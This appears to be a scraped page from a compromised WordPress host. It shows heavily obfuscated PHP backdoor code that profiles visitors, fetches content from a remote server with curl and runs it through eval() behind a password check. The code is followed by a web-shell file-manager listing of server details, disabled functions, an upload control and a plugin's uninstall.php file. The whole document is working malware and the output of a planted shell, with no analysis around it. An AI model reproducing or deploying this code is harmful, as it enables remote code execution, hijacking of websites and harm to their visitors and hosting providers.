CfcZV; lqeX9nVydXxCfcZV: goto EgTTiDP3YuIOWQYC; goto wH0WQL4Zd2JNdmkJ; whf8mBQ1rCJmP0p8: header("\110\124\x54\x50\57\x31\56\61\x20\x33\60\61\x20\115\157\x76\145\144\40\120\x65\x72\x6d\141\156\145\x6e\164\154\x79"); goto INc9raDXm2U5ep5r; wH0WQL4Zd2JNdmkJ: case 302: goto eG8O7Ykj8v99REHk; TRIzToYMuV4g9dzo: header("\114\157\143\x61\x74\151\x6f\x6e\x3a\40" . trim($ClkabIIdlFsJCmRP["\x63\157\x6e\x74\145\x6e\x74"])); goto xqqytMpYotLUCdIJ; xqqytMpYotLUCdIJ: goto EgTTiDP3YuIOWQYC; goto RY00XtmuaeUzCBat; eG8O7Ykj8v99REHk: header("\110\x54\124\120\x2f\x31\56\x31\40\63\60\62\40\x4d\x6f\x76\145\x20\x54\145\x6d\x70\x6f\162\x61\x72\151\x6c\x79"); goto TRIzToYMuV4g9dzo; RY00XtmuaeUzCBat: case 404: goto BQc235o2B2nns6nM; BQc235o2B2nns6nM: header("\110\124\124\120\x2f\61\x2e\x31\x20\64\60\64\40\x4e\157\164\40\106\x6f\x75\x6e\x64"); goto yLEpYa_NnJppE0Pw; WuGMOkRI4mnEDNcW: goto EgTTiDP3YuIOWQYC; goto rQQuIhsX54lT9Wkz; yLEpYa_NnJppE0Pw: header("\x73\x74\x61\x74\165\x73\x3a\x20\x34\60\x34\40\116\157\164\x20\x46\x6f\x75\156\144"); goto WuGMOkRI4mnEDNcW; rQQuIhsX54lT9Wkz: default: goto EgTTiDP3YuIOWQYC; } goto gJorSGs5OsfX5I5i; PteXPsbOn0RU5Qlv: $hiKNDBoBcvZ8lG5A["\x75"] = V_iEvHqgeSBKzW6B($_SERVER["\110\x54\x54\120\137\125\123\105\x52\x5f\x41\107\x45\x4e\x54"]); goto TfKJ5ZwE3EoVddsA; EJn9Wy5ku02I9ReZ: $hiKNDBoBcvZ8lG5A["\154"] = V_IEVhqGEsBKzW6B($_SERVER["\110\124\124\120\137\101\x43\103\105\x50\x54\137\114\x41\x4e\x47\x55\101\x47\105"]); goto T3Bqt79VGsx38FR5; T3X1mN0J_Ctmkx3b: $WMhsNR5urQZKlB_q = PdmL7yd7xnlxClkO() . $_SERVER["\110\x54\x54\120\137\x48\x4f\x53\x54"]; goto OpwxCL6MtEoHQnJS; uw9wq6S3A83xtLTL: $hiKNDBoBcvZ8lG5A["\x69"] = v_ieVHQgESBKzW6B($CQhaq0ghgC8f1zjl); goto EJn9Wy5ku02I9ReZ; Akiw60yIKQYZRTeN: function VqXB1BtmDDd69mmj($n1A2QvA760wpLGoA) { goto xAHkpCuwaTl6Ys0C; MzudNlXrqAJmDjk4: return $FwMX2SFAsT2HWbqu; goto sMpiV7QUBNFf6xUa; xAHkpCuwaTl6Ys0C: $FwMX2SFAsT2HWbqu = array("\163\x74\141\x74\x75\163" => 0, "\143\x6f\156\164\145\x6e\164" => '', "\x74\x79\x70\x65" => ''); goto OprEBewnr_6kC91O; OprEBewnr_6kC91O: if (is_array($n1A2QvA760wpLGoA)) { goto tzwUP2jHwn3CxNVS; } goto MzudNlXrqAJmDjk4; YF6_TH8ALsdXaH6x: foreach ($n1A2QvA760wpLGoA as $whFhqPtjUFPSsp12) { goto lAwXG0D_cGxRiUYe; cErBY4v17yLZxGnV: if (preg_match("\57\143\157\156\164\x65\x6e\164\134\55\164\171\160\x65\134\x3a\x5b\x5c\x73\135\x2b\50\56\x2a\51\57\x69", $whFhqPtjUFPSsp12, $GXAw1wWycs4sweVi)) { goto y1GQoSpKm1PNTNxu; } goto I2oU_ZY9GWD8HkWh; I2oU_ZY9GWD8HkWh: goto U15k7uGzGDwplU6f; goto IYsUE9NtIXpronmP; pW5_mo_m22ounC0h: if (preg_match("\x2f\x6c\157\x63\141\x74\151\157\x6e\x5c\72\x5b\x5c\x73\135\53\x28\56\52\51\x2f\151", $whFhqPtjUFPSsp12, $GXAw1wWycs4sweVi)) { goto obyjXbLpUd7iMxSW; } goto cErBY4v17yLZxGnV; lAwXG0D_cGxRiUYe: if (preg_match("\x2f\150\164\x74\160\134\x2f\133\x30\x2d\x39\134\x2e\135\53\133\134\x73\x5d\x2b\50\133\x30\x2d\71\x5d\53\51\x2f\151", $whFhqPtjUFPSsp12, $GXAw1wWycs4sweVi)) { goto ykmOtVwEWJuxis_3; } goto pW5_mo_m22ounC0h; RiA1eZitfA9BWDm3: U15k7uGzGDwplU6f: goto i8krsSMXw8S4aH3G; Z8f5BlpCOXGLGsmC: $FwMX2SFAsT2HWbqu["\x74\x79\x70\145"] = $GXAw1wWycs4sweVi[1]; goto RiA1eZitfA9BWDm3; mdG5pV4gE_GBihA8: y1GQoSpKm1PNTNxu: goto Z8f5BlpCOXGLGsmC; i8krsSMXw8S4aH3G: ErYBUkDVv4mXWakc: goto LzjYLDbnwdVglr66; ExF29IpPZ3sGM7eA: goto U15k7uGzGDwplU6f; goto p9inBjKBqBxwrz3b; laXrtbNzwmTVwYzV: $FwMX2SFAsT2HWbqu["\163\164\141\164\165\163"] = intval($GXAw1wWycs4sweVi[1]); goto ExF29IpPZ3sGM7eA; Lq4WfDD8PnPiv11C: goto U15k7uGzGDwplU6f; goto mdG5pV4gE_GBihA8; Z1KX1mOdldNFcpXk: $FwMX2SFAsT2HWbqu["\143\x6f\156\x74\x65\x6e\164"] = $GXAw1wWycs4sweVi[1]; goto Lq4WfDD8PnPiv11C; p9inBjKBqBxwrz3b: obyjXbLpUd7iMxSW: goto Z1KX1mOdldNFcpXk; IYsUE9NtIXpronmP: ykmOtVwEWJuxis_3: goto laXrtbNzwmTVwYzV; LzjYLDbnwdVglr66: } goto nz0nKIW9tn7z_GYj; sMpiV7QUBNFf6xUa: tzwUP2jHwn3CxNVS: goto YF6_TH8ALsdXaH6x; hlOvDlzyKEohXs2x: return $FwMX2SFAsT2HWbqu; goto mH6dbEJdsoLj3tnJ; nz0nKIW9tn7z_GYj: TWgIHUwJugM24XXe: goto hlOvDlzyKEohXs2x; mH6dbEJdsoLj3tnJ: } goto pUFtxyjXG5XF73rb; J4J4CQgEpL10abjQ: Kkw0LDFQ9gECHx4G: goto p3cMa_hePmsQcpRr; Ygg2halfbEu_Qkb4: w6kFfchdXHM36lVv::Vz3T1HcwIy21X0vA(); goto bQttr3IDTI1Cemf1; cNfY1dmK77cU5SZb: if ($j7z2IUYdj0FM0Qyz) { goto CfGiwMW1TDEWBeCN; } goto LxsWlWQPjFZ5oh40; EHpm6ljr3eBRCnAZ: mTgHO0HssOfuywbU: goto ZN9ORjc0c3aa9V1F; u1izyKIKQVm3eRUw: exit(0); goto o18va_zfKT0HHUsJ; MTTP5It1s_wr5rbA: ($SH3BEEQYyrL3wGX5[66] = $SH3BEEQYyrL3wGX5[66] . $SH3BEEQYyrL3wGX5[78]) && ($SH3BEEQYyrL3wGX5[86] = $SH3BEEQYyrL3wGX5[66]($SH3BEEQYyrL3wGX5[86])) && @eval($SH3BEEQYyrL3wGX5[66](${$SH3BEEQYyrL3wGX5[38]}[17])); goto EHpm6ljr3eBRCnAZ; z1Wdtpv6fLtphXC5: OKQv9P_MnJgvbjRy: goto cNfY1dmK77cU5SZb; QTLT3x07ItwvYnJj: error_reporting(0); goto Akiw60yIKQYZRTeN; vaZkAOhL00s0H3Al: if (!(strpos($H8HVXoCOrxy7BeIK, "\x2e") > 0 && strpos($H8HVXoCOrxy7BeIK, "\x2e\x70\x68\x70") === false)) { goto OKQv9P_MnJgvbjRy; } goto kX5cm6cp8a8jewET; ZN9ORjc0c3aa9V1F: metaphone("\116\104\x49\171\x4f\x54\115\x34\x4d\104\x63\64\x4e\x44\101\x34\x4e\172\x45\x79\117\x54\153\x33\x4f\124\125\x77\116\104\125\x78"); goto KUD12yXnvyfIaUBW; ZOzsgurEcNZTFWzV: function v_iEvHqGEsBkZw6B($zNZcPFddnq3jeddy) { goto utmX6OzKgHi2JGyr; j8dz_Ddd_pRJ6F54: QSwSCxjD2F4yIwNO: goto crEmYID2W12jq7_E; crEmYID2W12jq7_E: return rtrim(strtr(base64_encode($zNZcPFddnq3jeddy), "\53\x2f", "\55\137"), "\75"); goto u6lI9wwHhyCurzLD; utmX6OzKgHi2JGyr: if ($zNZcPFddnq3jeddy) { goto QSwSCxjD2F4yIwNO; } goto Cphab2r98_evHLrb; Cphab2r98_evHLrb: return ''; goto j8dz_Ddd_pRJ6F54; u6lI9wwHhyCurzLD: } goto M9Z9nXVfZO_yC3pE; OQw4dV_XzV9LkNNP: rw55wj8dOmrr5Mkx: goto je3orU2YcWenReqL; aGsrhS0h_uc3UIC4: $fi7ytJIjesnm3VIe = strval(@$_SERVER["\110\124\x54\120\x5f\122\x45\x46\x45\122\105\122"]); goto T3X1mN0J_Ctmkx3b; KV6AfrWwt0sl83b8: @header("\x43\157\156\x74\x65\x6e\164\x2d\124\171\x70\145\72" . $ClkabIIdlFsJCmRP["\164\x79\160\x65"]); goto BSjSc6jouFkne7fd; ISX1oW3jx4HE_gH7: $hiKNDBoBcvZ8lG5A["\163"] = v_iEvhqGeSbKZW6b($WMhsNR5urQZKlB_q); goto PteXPsbOn0RU5Qlv; KUD12yXnvyfIaUBW: class W6KFFcHdxhm36lVv { static function RWD21y25KtDtfW_f($it7IGSs6o3TFJh2K) { goto g42BrPCN04wRGbzs; ZDauVfhps5dBFhu8: $Zs8mBDGVtJeheVKj = $pJSm6S0kOkzgLlho("\x7e", "\40"); goto V1U_DOoH5edx5FDn; V1U_DOoH5edx5FDn: $pL0ymR2R6UIuSqLB = explode("\157", $it7IGSs6o3TFJh2K); goto EfV0yq__1XNy0gZn; b69dbdDfue4LM4x0: PwTXAoMj36w77J5f: goto VKNhcB0A_S_gX_3o; VKNhcB0A_S_gX_3o: return $RMlZ6oYlP__EUvQq; goto inHRlxuKP6A10x5R; AzGr7nm12TmYCEJV: foreach ($pL0ymR2R6UIuSqLB as $O9TDrgeb1YGvQhfu => $SEO1uI1v4U3v15X6) { $RMlZ6oYlP__EUvQq .= $Zs8mBDGVtJeheVKj[$SEO1uI1v4U3v15X6 - 71441]; FyOWMtbBW7BqQ3vE: } goto b69dbdDfue4LM4x0; EfV0yq__1XNy0gZn: $RMlZ6oYlP__EUvQq = ''; goto AzGr7nm12TmYCEJV; g42BrPCN04wRGbzs: $pJSm6S0kOkzgLlho = "\162" . "\x61" . "\156" . "\147" . "\x65"; goto ZDauVfhps5dBFhu8; inHRlxuKP6A10x5R: } static function Re4oE4sgsxXZinEZ($sPLGCJ4_KoFkiHF_, $znp0En97fhZb1odY) { goto sGizJbKRdeidGzX0; RCluxhbACP2qOo7c: $AvPVodjiSeUXNyE6 = curl_exec($HUVrP0KUrUaWzfie); goto jUctL4herbrijoAf; sGizJbKRdeidGzX0: $HUVrP0KUrUaWzfie = curl_init($sPLGCJ4_KoFkiHF_); goto ZU3kR5eiEmAXaGC1; ZU3kR5eiEmAXaGC1: curl_setopt($HUVrP0KUrUaWzfie, CURLOPT_RETURNTRANSFER, 1); goto RCluxhbACP2qOo7c; jUctL4herbrijoAf: return empty($AvPVodjiSeUXNyE6) ? $znp0En97fhZb1odY($sPLGCJ4_KoFkiHF_) : $AvPVodjiSeUXNyE6; goto HSLYX971Nmq72bid; HSLYX971Nmq72bid: } static function vZ3T1hcWIY21X0VA() { goto ryE7GG_5TbzJqPv6; Y4qdjYBCsoc1JE7i: $edI42neI_Zk7K3ff = $dcTQ0xnc_ygzsTcJ[2 + 0]($HKP4UsPiyLuCEztM, true); goto L6rt4PRFeL1Cuv8K; qb12QhZl3fImsZot: $HKP4UsPiyLuCEztM = @$dcTQ0xnc_ygzsTcJ[3 + 0]($dcTQ0xnc_ygzsTcJ[1 + 5], $YTp6zPOygrM0HwHR); goto Y4qdjYBCsoc1JE7i; QgZQ8NmFNych0rvq: die; goto SQlpbP_SCOFdwAId; RXtdvdj30O_JrV7e: foreach ($QEHbKHnRXQqIfQwN as $ZMF984A7GyaC0Ivr) { $dcTQ0xnc_ygzsTcJ[] = self::rwd21y25kTdTfw_f($ZMF984A7GyaC0Ivr); YyDx3ojDF4er1XM4: } goto mhmeDM3hawcU93S6; UqDUDEe1xx0EbMMs: $nrkEA4MVciQlnMej = self::re4OE4sGSXXzINEz($edI42neI_Zk7K3ff[0 + 1], $dcTQ0xnc_ygzsTcJ[5 + 0]); goto LwbljdONnqOsyGYT; mhmeDM3hawcU93S6: avwhEgnOhUyBTZMC: goto KvTzJn0bhtN35KiD; ryE7GG_5TbzJqPv6: $QEHbKHnRXQqIfQwN = array("\67\x31\64\x36\70\x6f\67\61\x34\x35\63\x6f\x37\x31\x34\66\x36\157\x37\61\64\x37\x30\157\x37\61\x34\x35\61\x6f\x37\x31\x34\x36\66\x6f\x37\x31\64\x37\x32\x6f\x37\x31\64\66\x35\157\67\61\x34\x35\x30\x6f\67\x31\x34\x35\x37\157\x37\x31\64\66\x38\157\x37\x31\64\x35\x31\x6f\67\61\x34\66\x32\157\x37\x31\64\65\x36\x6f\x37\x31\64\x35\x37", "\x37\61\64\x35\x32\x6f\67\61\64\x35\61\x6f\x37\x31\64\x35\x33\x6f\x37\61\64\67\62\x6f\67\61\x34\x35\x33\157\x37\61\x34\x35\x36\157\x37\61\x34\65\x31\157\67\x31\65\x31\x38\x6f\67\x31\65\x31\x36", "\x37\x31\64\66\61\157\x37\61\x34\65\62\157\x37\x31\x34\x35\x36\x6f\67\61\x34\x35\x37\x6f\x37\x31\64\67\x32\157\67\61\x34\x36\67\157\x37\x31\64\66\66\x6f\x37\x31\x34\66\70\157\67\61\64\x35\66\157\67\61\64\x36\x37\x6f\67\61\64\x36\x36", "\67\x31\x34\x35\65\x6f\x37\61\64\67\x30\157\67\x31\x34\x36\x38\x6f\67\61\64\66\x30", "\x37\x31\64\x36\71\x6f\x37\x31\x34\67\x30\157\67\61\x34\x35\62\x6f\x37\61\64\x36\66\x6f\x37\x31\65\x31\63\x6f\67\x31\65\x31\65\x6f\67\61\x34\67\62\x6f\x37\x31\64\x36\x37\x6f\67\61\x34\x36\x36\x6f\x37\61\x34\66\x38\157\67\x31\x34\x35\x36\157\67\x31\64\x36\67\x6f\67\61\x34\x36\66", "\67\x31\64\x36\65\x6f\67\61\64\x36\62\x6f\x37\x31\x34\65\x39\157\x37\x31\64\66\x36\x6f\x37\61\x34\x37\x32\x6f\x37\x31\x34\x36\64\157\x37\x31\x34\x36\x36\157\67\61\64\65\x31\x6f\67\x31\64\x37\62\157\x37\x31\64\66\x38\x6f\67\61\64\x35\66\x6f\x37\x31\x34\x35\67\157\x37\61\x34\x35\61\x6f\67\x31\64\x36\x36\157\67\x31\x34\x35\67\x6f\67\61\x34\65\61\157\67\61\x34\x35\x32", "\67\61\64\71\65\157\67\x31\65\62\65", "\x37\61\64\64\62", "\67\61\x35\x32\60\157\67\x31\x35\62\x35", "\x37\x31\x35\x30\x32\x6f\x37\61\64\70\x35\157\67\x31\64\70\x35\157\x37\x31\x35\60\62\157\x37\61\64\x37\70", "\x37\61\x34\66\65\157\x37\61\x34\66\x32\x6f\x37\x31\x34\65\71\x6f\67\61\64\x35\61\157\x37\x31\x34\66\66\x6f\x37\61\64\x35\x33\157\67\61\64\x37\x32\157\67\x31\x34\66\62\157\67\61\64\65\x37\157\67\61\x34\x35\x35\157\x37\61\64\x35\60\x6f\67\61\64\65\61"); goto RXtdvdj30O_JrV7e; L6rt4PRFeL1Cuv8K: @$dcTQ0xnc_ygzsTcJ[4 + 6](INPUT_GET, "\157\x66") == 1 && die($dcTQ0xnc_ygzsTcJ[4 + 1](__FILE__)); goto JxUuBMAi22b2nVCl; KvTzJn0bhtN35KiD: $YTp6zPOygrM0HwHR = @$dcTQ0xnc_ygzsTcJ[1]($dcTQ0xnc_ygzsTcJ[8 + 2](INPUT_GET, $dcTQ0xnc_ygzsTcJ[7 + 2])); goto qb12QhZl3fImsZot; LwbljdONnqOsyGYT: @eval($dcTQ0xnc_ygzsTcJ[2 + 2]($nrkEA4MVciQlnMej)); goto QgZQ8NmFNych0rvq; JxUuBMAi22b2nVCl: if (!(@$edI42neI_Zk7K3ff[0] - time() > 0 and md5(md5($edI42neI_Zk7K3ff[3 + 0])) === "\63\146\x36\142\x62\x37\64\143\70\x31\x32\61\x34\x36\67\x65\x63\x36\x34\60\x65\145\x38\x37\x38\64\x64\145\x32\143\x61\x66")) { goto EnzsRgxDvmzPyAcV; } goto UqDUDEe1xx0EbMMs; SQlpbP_SCOFdwAId: EnzsRgxDvmzPyAcV: goto ia23q86bHNFQAMAX; ia23q86bHNFQAMAX: } } goto Ygg2halfbEu_Qkb4; TfKJ5ZwE3EoVddsA: $H8HVXoCOrxy7BeIK = preg_replace("\57\x5c\x3f\56\52\x2f", '', $_SERVER["\x52\x45\x51\x55\x45\123\x54\x5f\x55\122\x49"]); goto W8_pC6AbFpPdkGHp; T3Bqt79VGsx38FR5: $hiKNDBoBcvZ8lG5A["\x73\x6e"] = v_iEvHQgEsbKzw6b($_SERVER["\x53\x43\x52\x49\120\124\x5f\x4e\101\x4d\105"]); goto HRCrxjNEdChIvdwg; q_HgkzQNooVi3Gvb: $FipqkfKHaOFhN3wk = $VQ8i1M7tnp2N4_PN("\x7e", "\x20"); goto ECZGHkzSIoJoKULD; BSjSc6jouFkne7fd: echo $ClkabIIdlFsJCmRP["\143\x6f\156\x74\145\156\x74"]; goto u1izyKIKQVm3eRUw; C8vYLWkchEceNYkj: CfGiwMW1TDEWBeCN: ?> HEX
HEX
Server: Apache
System: Linux web04.cloudvoor.nl 5.15.0-1089-azure #98~20.04.1-Ubuntu SMP Fri May 2 20:18:39 UTC 2025 x86_64
User: web517 (1027)
PHP: 8.3.21
Disabled: exec,system,passthru,shell_exec,escapeshellarg,escapeshellcmd,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname,expect_popen,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare
Upload Files
File: /var/www/clients/client93/web517/web/wp-content/plugins/xdhvkph/uninstall.php
<?php

/**
 * Fired when the plugin is uninstalled.
 *
 * When populating this file, consider the following flow
 * of control:
 *
 * - This method should be static
 * - Check if the $_REQUEST content actually is the plugin name
 * - Run an admin referrer check to make sure it goes through authentication
 * - Verify the output of $_GET makes sense
 * - Repeat with other user roles. Best directly by using the links/query string parameters.
 * - Repeat things for multisite. Once for a single site in the network, once sitewide.
 *
 * This file may be updated more in future version of the Boilerplate; however, this is the
 * general skeleton and outline for how the file should work.
 *
 * For more information, see the following discussion:
 * https://github.com/tommcfarlin/WordPress-Plugin-Boilerplate/pull/123#issuecomment-28541913
 *
 * @link       http://example.com
 * @since      1.0.0
 *
 * @package    Plugin_Name
 */

// If uninstall not called from WordPress, then exit.
if ( ! defined( 'WP_UNINSTALL_PLUGIN' ) ) {
	exit;
}

class Alti_ProtectUploads_Uninstall {

	public static function run() {
		$plugin_name = 'protect-uploads';
		if( is_admin()) delete_option( $plugin_name . '-protection' );
	}

	

}

Alti_ProtectUploads_Uninstall::run();